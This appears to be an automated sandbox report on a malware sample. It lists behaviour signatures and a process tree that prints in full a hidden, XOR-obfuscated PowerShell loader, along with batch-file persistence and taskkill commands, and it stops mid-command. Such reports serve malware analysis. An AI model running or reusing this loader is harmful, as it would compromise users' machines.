Analysis

  • max time kernel
    148s
  • max time network
    105s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 11:06

General

  • Target
    dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98.exe
  • Size 98KB
  • Sample260910-m7m9masbpe
  • SHA256 dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98.exe
    "C:\Users\Admin\AppData\Local\Temp\dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4168
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\f3e044a2-0601-4bfc-8a11-b002b7230361.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=70-38;$bNbrOi=''tOoTiggw8'';$sMrLfU=''b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc'';$gD9AIXd7=''AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9ZhZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg=='';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, ''$xkPzeuVmA'', ''''));$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'''') $f1H0On\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\f3e044a2-0601-4bfc-8a11-b002b7230361.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:6088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=70-38;$bNbrOi='tOoTiggw8';$sMrLfU='b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc';$gD9AIXd7='AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9ZhZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg==';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, '$xkPzeuVmA', ''));$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'') $f1H0On"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5228
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1224
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB0B.tmp" "c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\CSC72FD6798323243F5A3C1987DCA922E38.TMP"
              6⤵
                PID:4316
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3196
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
                6⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1144
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM RegAsm.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2560
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Vbc.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4496
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM MsBuild.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1836
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=70-38;$bNbrOi=''tOoTiggw8'';$sMrLfU=''b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc'';$gD9AIXd7=''AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9ZhZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg=='';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, ''$xkPzeuVmA'', ''''));$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'''') $f1H0On\"'" ; Copy-Item -Path 'C:\ProgramData\bfaSmSn.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5488
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=70-38;$bNbrOi='tOoTiggw8';$sMrLfU='b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc';$gD9AIXd7='AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9Zh